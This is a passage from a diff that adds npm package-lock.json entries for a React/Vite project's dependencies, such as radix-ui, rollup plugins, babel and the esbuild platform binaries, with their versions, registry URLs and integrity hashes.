"^16.8 || ^17.0 || ^18.0" + } + }, + "node_modules/@radix-ui/react-slot": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.0.1.tgz", + "integrity": "sha512-avutXAFL1ehGvAXtPquu0YK5oz6ctS474iM3vNGQIkswrVhdrS52e3uoMQBzZhNRAIE0jBnUyXWNmSjGHhCFcw==", + "dependencies": { + "@babel/runtime": "^7.13.10", + "@radix-ui/react-compose-refs": "1.0.0" + }, + "peerDependencies": { + "react": "^16.8 || ^17.0 || ^18.0" + } + }, + "node_modules/@radix-ui/react-use-callback-ref": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@radix-ui/react-use-callback-ref/-/react-use-callback-ref-1.0.0.tgz", + "integrity": "sha512-GZtyzoHz95Rhs6S63D2t/eqvdFCm7I+yHMLVQheKM7nBD8mbZIt+ct1jz4536MDnaOGKIxynJ8eHTkVGVVkoTg==", + "dependencies": { + "@babel/runtime": "^7.13.10" + }, + "peerDependencies": { + "react": "^16.8 || ^17.0 || ^18.0" + } + }, + "node_modules/@radix-ui/react-use-layout-effect": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@radix-ui/react-use-layout-effect/-/react-use-layout-effect-1.0.0.tgz", + "integrity": "sha512-6Tpkq+R6LOlmQb1R5NNETLG0B4YP0wc+klfXafpUCj6JGyaUc8il7/kUZ7m59rGbXGczE9Bs+iz2qloqsZBduQ==", + "dependencies": { + "@babel/runtime": "^7.13.10" + }, + "peerDependencies": { + "react": "^16.8 || ^17.0 || ^18.0" + } + }, + "node_modules/@rollup/plugin-babel": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/@rollup/plugin-babel/-/plugin-babel-6.0.3.tgz", + "integrity": "sha512-fKImZKppa1A/gX73eg4JGo+8kQr/q1HBQaCGKECZ0v4YBBv3lFqi14+7xyApECzvkLTHCifx+7ntcrvtBIRcpg==", + "dependencies": { + "@babel/helper-module-imports": "^7.18.6", + "@rollup/pluginutils": "^5.0.1" + }, + "engines": { + "node": ">=14.0.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0", + "@types/babel__core": "^7.1.9", + "rollup": "^1.20.0||^2.0.0||^3.0.0" + }, + "peerDependenciesMeta": { + "@types/babel__core": { + "optional": true + }, + "rollup": { + "optional": true + } + } + }, + "node_modules/@rollup/pluginutils": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/@rollup/pluginutils/-/pluginutils-5.0.2.tgz", + "integrity": "sha512-pTd9rIsP92h+B6wWwFbW8RkZv4hiR/xKsqre4SIuAOaOEQRxi0lqLke9k2/7WegC85GgUs9pjmOjCUi3In4vwA==", + "dependencies": { + "@types/estree": "^1.0.0", + "estree-walker": "^2.0.2", + "picomatch": "^2.3.1" + }, + "engines": { + "node": ">=14.0.0" + }, + "peerDependencies": { + "rollup": "^1.20.0||^2.0.0||^3.0.0" + }, + "peerDependenciesMeta": { + "rollup": { + "optional": true + } + } + }, + "node_modules/@types/estree": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.0.tgz", + "integrity": "sha512-WulqXMDUTYAXCjZnk6JtIHPigp55cVtDgDrO2gHRwhyJto21+1zbVCtOYB2L1F9w4qCQ0rOGWBnBe0FNTiEJIQ==" + }, + "node_modules/@types/parse-json": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/@types/parse-json/-/parse-json-4.0.0.tgz", + "integrity": "sha512-//oorEZjL6sbPcKUaCdIGlIUeH26mgzimjBB77G6XRgnDl/L5wOnpyBGRe/Mmf5CVW3PwEBE1NjiMZ/ssFh4wA==" + }, + "node_modules/@types/prop-types": { + "version": "15.7.5", + "resolved": "https://registry.npmjs.org/@types/prop-types/-/prop-types-15.7.5.tgz", + "integrity": "sha512-JCB8C6SnDoQf0cNycqd/35A7MjcnK+ZTqE7judS6o7utxUCg6imJg3QK2qzHKszlTjcj2cn+NwMB2i96ubpj7w==", + "devOptional": true + }, + "node_modules/@types/react": { + "version": "18.0.21", + "resolved": "https://registry.npmjs.org/@types/react/-/react-18.0.21.tgz", + "integrity": "sha512-7QUCOxvFgnD5Jk8ZKlUAhVcRj7GuJRjnjjiY/IUBWKgOlnvDvTMLD4RTF7NPyVmbRhNrbomZiOepg7M/2Kj1mA==", + "devOptional": true, + "dependencies": { + "@types/prop-types": "*", + "@types/scheduler": "*", + "csstype": "^3.0.2" + } + }, + "node_modules/@types/react-dom": { + "version": "18.0.6", + "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-18.0.6.tgz", + "integrity": "sha512-/5OFZgfIPSwy+YuIBP/FgJnQnsxhZhjjrnxudMddeblOouIodEQ75X14Rr4wGSG/bknL+Omy9iWlLo1u/9GzAA==", + "dev": true, + "dependencies": { + "@types/react": "*" + } + }, + "node_modules/@types/scheduler": { + "version": "0.16.2", + "resolved": "https://registry.npmjs.org/@types/scheduler/-/scheduler-0.16.2.tgz", + "integrity": "sha512-hppQEBDmlwhFAXKJX2KnWLYu5yMfi91yazPb2l+lbJiwW+wdo1gNeRA+3RgNSO39WYX2euey41KEwnqesU2Jew==", + "devOptional": true + }, + "node_modules/@vitejs/plugin-react": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-2.1.0.tgz", + "integrity": "sha512-am6rPyyU3LzUYne3Gd9oj9c4Rzbq5hQnuGXSMT6Gujq45Il/+bunwq3lrB7wghLkiF45ygMwft37vgJ/NE8IAA==", + "dev": true, + "dependencies": { + "@babel/core": "^7.18.13", + "@babel/plugin-transform-react-jsx": "^7.18.10", + "@babel/plugin-transform-react-jsx-development": "^7.18.6", + "@babel/plugin-transform-react-jsx-self": "^7.18.6", + "@babel/plugin-transform-react-jsx-source": "^7.18.6", + "magic-string": "^0.26.2", + "react-refresh": "^0.14.0" + }, + "engines": { + "node": "^14.18.0 || >=16.0.0" + }, + "peerDependencies": { + "vite": "^3.0.0" + } + }, + "node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/any-promise": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/any-promise/-/any-promise-1.3.0.tgz", + "integrity": "sha512-7UvmKalWRt1wgjL1RrGxoSJW/0QZFIegpeGvZG9kjp8vrRu55XTHbwnqq2GpXm9uLbcuhxm3IqX9OB4MZR1b2A==", + "dev": true + }, + "node_modules/anymatch": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz", + "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", + "dev": true, + "dependencies": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/arg": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/arg/-/arg-5.0.2.tgz", + "integrity": "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==", + "dev": true + }, + "node_modules/aria-hidden": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/aria-hidden/-/aria-hidden-1.2.3.tgz", + "integrity": "sha512-xcLxITLe2HYa1cnYnwCjkOO1PqUHQpozB8x9AR0OgWN2woOBi5kSDVxKfd0b7sb1hw5qFeJhXm9H1nu3xSfLeQ==", + "dependencies": { + "tslib": "^2.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/babel-plugin-macros": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/babel-plugin-macros/-/babel-plugin-macros-3.1.0.tgz", + "integrity": "sha512-Cg7TFGpIr01vOQNODXOOaGz2NpCU5gl8x1qJFbb6hbZxR7XrcE2vtbAsTAbJ7/xwJtUuJEw8K8Zr/AE0LHlesg==", + "dependencies": { + "@babel/runtime": "^7.12.5", + "cosmiconfig": "^7.0.0", + "resolve": "^1.19.0" + }, + "engines": { + "node": ">=10", + "npm": ">=6" + } + }, + "node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "dev": true + }, + "node_modules/binary-extensions": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz", + "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/brace-expansion": { + "version": "1.1.11", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", + "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", + "dev": true, + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, + "dependencies": { + "fill-range": "^7.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/browserslist": { + "version": "4.21.4", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.21.4.tgz", + "integrity": "sha512-CBHJJdDmgjl3daYjN5Cp5kbTf1mUhZoS+beLklHIvkOWscs83YAhLlF3Wsh/lciQYAcbBJgTOD44VtG31ZM4Hw==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + } + ], + "dependencies": { + "caniuse-lite": "^1.0.30001400", + "electron-to-chromium": "^1.4.251", + "node-releases": "^2.0.6", + "update-browserslist-db": "^1.0.9" + }, + "bin": { + "browserslist": "cli.js" + }, + "engines": { + "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" + } + }, + "node_modules/callsites": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz", + "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==", + "engines": { + "node": ">=6" + } + }, + "node_modules/camelcase-css": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/camelcase-css/-/camelcase-css-2.0.1.tgz", + "integrity": "sha512-QOSvevhslijgYwRx6Rv7zKdMF8lbRmx+uQGx2+vDc+KI/eBnsy9kit5aj23AgGu3pa4t9AgwbnXWqS+iOY+2aA==", + "dev": true, + "engines": { + "node": ">= 6" + } + }, + "node_modules/caniuse-lite": { + "version": "1.0.30001418", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001418.tgz", + "integrity": "sha512-oIs7+JL3K9JRQ3jPZjlH6qyYDp+nBTCais7hjh0s+fuBwufc7uZ7hPYMXrDOJhV360KGMTcczMRObk0/iMqZRg==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/caniuse-lite" + } + ] + }, + "node_modules/chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/chokidar": { + "version": "3.5.3", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz", + "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==", + "dev": true, + "funding": [ + { + "type": "individual", + "url": "https://paulmillr.com/funding/" + } + ], + "dependencies": { + "anymatch": "~3.1.2", + "braces": "~3.0.2", + "glob-parent": "~5.1.2", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.6.0" + }, + "engines": { + "node": ">= 8.10.0" + }, + "optionalDependencies": { + "fsevents": "~2.3.2" + } + }, + "node_modules/chokidar/node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/clsx": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/clsx/-/clsx-1.1.1.tgz", + "integrity": "sha512-6/bPho624p3S2pMyvP5kKBPXnI3ufHLObBFCfgx+LkeR5lg2XYy2hqZqUf45ypD8COn2bhgGJSUE+l5dhNBieA==", + "engines": { + "node": ">=6" + } + }, + "node_modules/color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "dependencies": { + "color-name": "1.1.3" + } + }, + "node_modules/color-name": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", + "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==" + }, + "node_modules/commander": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/commander/-/commander-4.1.1.tgz", + "integrity": "sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==", + "dev": true, + "engines": { + "node": ">= 6" + } + }, + "node_modules/concat-map": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", + "dev": true + }, + "node_modules/convert-source-map": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.8.0.tgz", + "integrity": "sha512-+OQdjP49zViI/6i7nIJpA8rAl4sV/JdPfU9nZs3VqOwGIgizICvuN2ru6fMd+4llL0tar18UYJXfZ/TWtmhUjA==", + "dependencies": { + "safe-buffer": "~5.1.1" + } + }, + "node_modules/cosmiconfig": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-7.1.0.tgz", + "integrity": "sha512-AdmX6xUzdNASswsFtmwSt7Vj8po9IuqXm0UXz7QKPuEUmPB4XyjGfaAr2PSuELMwkRMVH1EpIkX5bTZGRB3eCA==", + "dependencies": { + "@types/parse-json": "^4.0.0", + "import-fresh": "^3.2.1", + "parse-json": "^5.0.0", + "path-type": "^4.0.0", + "yaml": "^1.10.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/countup.js": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/countup.js/-/countup.js-2.5.0.tgz", + "integrity": "sha512-/59H8Q6wzu6VfHeqGUgXoyh6kgboGr5mALmRKi8YA11DlcaXSnT1PZG6mTyBRLco4ZjExKlmfNHeMbQgZvis9Q==" + }, + "node_modules/cssesc": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz", + "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==", + "dev": true, + "bin": { + "cssesc": "bin/cssesc" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/csstype": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.1.1.tgz", + "integrity": "sha512-DJR/VvkAvSZW9bTouZue2sSxDwdTN92uHjqeKVm+0dAqdfNykRzQ95tay8aXMBAAPpUiq4Qcug2L7neoRh2Egw==" + }, + "node_modules/debug": { + "version": "4.3.4", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/detect-node-es": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/detect-node-es/-/detect-node-es-1.1.0.tgz", + "integrity": "sha512-ypdmJU/TbBby2Dxibuv7ZLW3Bs1QEmM7nHjEANfohJLvE0XVujisn1qPJcZxg+qDucsr+bP6fLD1rPS3AhJ7EQ==" + }, + "node_modules/didyoumean": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/didyoumean/-/didyoumean-1.2.2.tgz", + "integrity": "sha512-gxtyfqMg7GKyhQmb056K7M3xszy/myH8w+B4RT+QXBQsvAOdc3XymqDDPHx1BgPgsdAA5SIifona89YtRATDzw==", + "dev": true + }, + "node_modules/dlv": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/dlv/-/dlv-1.1.3.tgz", + "integrity": "sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA==", + "dev": true + }, + "node_modules/electron-to-chromium": { + "version": "1.4.276", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.4.276.tgz", + "integrity": "sha512-EpuHPqu8YhonqLBXHoU6hDJCD98FCe6KDoet3/gY1qsQ6usjJoHqBH2YIVs8FXaAtHwVL8Uqa/fsYao/vq9VWQ==" + }, + "node_modules/error-ex": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.2.tgz", + "integrity": "sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==", + "dependencies": { + "is-arrayish": "^0.2.1" + } + }, + "node_modules/esbuild": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.15.10.tgz", + "integrity": "sha512-N7wBhfJ/E5fzn/SpNgX+oW2RLRjwaL8Y0ezqNqhjD6w0H2p0rDuEz2FKZqpqLnO8DCaWumKe8dsC/ljvVSSxng==", + "dev": true, + "hasInstallScript": true, + "bin": { + "esbuild": "bin/esbuild" + }, + "engines": { + "node": ">=12" + }, + "optionalDependencies": { + "@esbuild/android-arm": "0.15.10", + "@esbuild/linux-loong64": "0.15.10", + "esbuild-android-64": "0.15.10", + "esbuild-android-arm64": "0.15.10", + "esbuild-darwin-64": "0.15.10", + "esbuild-darwin-arm64": "0.15.10", + "esbuild-freebsd-64": "0.15.10", + "esbuild-freebsd-arm64": "0.15.10", + "esbuild-linux-32": "0.15.10", + "esbuild-linux-64": "0.15.10", + "esbuild-linux-arm": "0.15.10", + "esbuild-linux-arm64": "0.15.10", + "esbuild-linux-mips64le": "0.15.10", + "esbuild-linux-ppc64le": "0.15.10", + "esbuild-linux-riscv64": "0.15.10", + "esbuild-linux-s390x": "0.15.10", + "esbuild-netbsd-64": "0.15.10", + "esbuild-openbsd-64": "0.15.10", + "esbuild-sunos-64": "0.15.10", + "esbuild-windows-32": "0.15.10", + "esbuild-windows-64": "0.15.10", + "esbuild-windows-arm64": "0.15.10" + } + }, + "node_modules/esbuild-android-64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-android-64/-/esbuild-android-64-0.15.10.tgz", + "integrity": "sha512-UI7krF8OYO1N7JYTgLT9ML5j4+45ra3amLZKx7LO3lmLt1Ibn8t3aZbX5Pu4BjWiqDuJ3m/hsvhPhK/5Y/YpnA==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-android-arm64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-android-arm64/-/esbuild-android-arm64-0.15.10.tgz", + "integrity": "sha512-EOt55D6xBk5O05AK8brXUbZmoFj4chM8u3riGflLa6ziEoVvNjRdD7Cnp82NHQGfSHgYR06XsPI8/sMuA/cUwg==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-darwin-64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-darwin-64/-/esbuild-darwin-64-0.15.10.tgz", + "integrity": "sha512-hbDJugTicqIm+WKZgp208d7FcXcaK8j2c0l+fqSJ3d2AzQAfjEYDRM3Z2oMeqSJ9uFxyj/muSACLdix7oTstRA==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-darwin-arm64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-darwin-arm64/-/esbuild-darwin-arm64-0.15.10.tgz", + "integrity": "sha512-M1t5+Kj4IgSbYmunf2BB6EKLkWUq+XlqaFRiGOk8bmBapu9bCDrxjf4kUnWn59Dka3I27EiuHBKd1rSO4osLFQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-freebsd-64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-freebsd-64/-/esbuild-freebsd-64-0.15.10.tgz", + "integrity": "sha512-KMBFMa7C8oc97nqDdoZwtDBX7gfpolkk6Bcmj6YFMrtCMVgoU/x2DI1p74DmYl7CSS6Ppa3xgemrLrr5IjIn0w==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-freebsd-arm64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-freebsd-arm64/-/esbuild-freebsd-arm64-0.15.10.tgz", + "integrity": "sha512-m2KNbuCX13yQqLlbSojFMHpewbn8wW5uDS6DxRpmaZKzyq8Dbsku6hHvh2U+BcLwWY4mpgXzFUoENEf7IcioGg==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-linux-32": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-linux-32/-/esbuild-linux-32-0.15.10.tgz", + "integrity": "sha512-guXrwSYFAvNkuQ39FNeV4sNkNms1bLlA5vF1H0cazZBOLdLFIny6BhT+TUbK/hdByMQhtWQ5jI9VAmPKbVPu1w==", + "cpu": [ + "ia32" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-linux-64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-linux-64/-/esbuild-linux-64-0.15.10.tgz", + "integrity": "sha512-jd8XfaSJeucMpD63YNMO1JCrdJhckHWcMv6O233bL4l6ogQKQOxBYSRP/XLWP+6kVTu0obXovuckJDcA0DKtQA==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-linux-arm": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-linux-arm/-/esbuild-linux-arm-0.15.10.tgz", + "integrity": "sha512-6N8vThLL/Lysy9y4Ex8XoLQAlbZKUyExCWyayGi2KgTBelKpPgj6RZnUaKri0dHNPGgReJriKVU6+KDGQwn10A==", + "cpu": [ + "arm" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-linux-arm64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-linux-arm64/-/esbuild-linux-arm64-0.15.10.tgz", + "integrity": "sha512-GByBi4fgkvZFTHFDYNftu1DQ1GzR23jws0oWyCfhnI7eMOe+wgwWrc78dbNk709Ivdr/evefm2PJiUBMiusS1A==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-linux-mips64le": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-linux-mips64le/-/esbuild-linux-mips64le-0.15.10.tgz", + "integrity": "sha512-BxP+LbaGVGIdQNJUNF7qpYjEGWb0YyHVSKqYKrn+pTwH/SiHUxFyJYSP3pqkku61olQiSBnSmWZ+YUpj78Tw7Q==", + "cpu": [ + "mips64el" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-linux-ppc64le": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-linux-ppc64le/-/esbuild-linux-ppc64le-0.15.10.tgz", + "integrity": "sha512-LoSQCd6498PmninNgqd/BR7z3Bsk/mabImBWuQ4wQgmQEeanzWd5BQU2aNi9mBURCLgyheuZS6Xhrw5luw3OkQ==", + "cpu": [ + "ppc64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-linux-riscv64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-linux-riscv64/-/esbuild-linux-riscv64-0.15.10.tgz", + "integrity": "sha512-Lrl9Cr2YROvPV4wmZ1/g48httE8z/5SCiXIyebiB5N8VT7pX3t6meI7TQVHw/wQpqP/AF4SksDuFImPTM7Z32Q==", + "cpu": [ + "riscv64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-linux-s390x": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-linux-s390x/-/esbuild-linux-s390x-0.15.10.tgz", + "integrity": "sha512-ReP+6q3eLVVP2lpRrvl5EodKX7EZ1bS1/z5j6hsluAlZP5aHhk6ghT6Cq3IANvvDdscMMCB4QEbI+AjtvoOFpA==", + "cpu": [ + "s390x" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-netbsd-64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-netbsd-64/-/esbuild-netbsd-64-0.15.10.tgz", + "integrity": "sha512-iGDYtJCMCqldMskQ4eIV+QSS/CuT7xyy9i2/FjpKvxAuCzrESZXiA1L64YNj6/afuzfBe9i8m/uDkFHy257hTw==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-openbsd-64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-openbsd-64/-/esbuild-openbsd-64-0.15.10.tgz", + "integrity": "sha512-ftMMIwHWrnrYnvuJQRJs/Smlcb28F9ICGde/P3FUTCgDDM0N7WA0o9uOR38f5Xe2/OhNCgkjNeb7QeaE3cyWkQ==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-sunos-64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-sunos-64/-/esbuild-sunos-64-0.15.10.tgz", + "integrity": "sha512-mf7hBL9Uo2gcy2r3rUFMjVpTaGpFJJE5QTDDqUFf1632FxteYANffDZmKbqX0PfeQ2XjUDE604IcE7OJeoHiyg==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "sunos" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-windows-32": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-windows-32/-/esbuild-windows-32-0.15.10.tgz", + "integrity": "sha512-ttFVo+Cg8b5+qHmZHbEc8Vl17kCleHhLzgT8X04y8zudEApo0PxPg9Mz8Z2cKH1bCYlve1XL8LkyXGFjtUYeGg==", + "cpu": [ + "ia32" + ], + "dev": 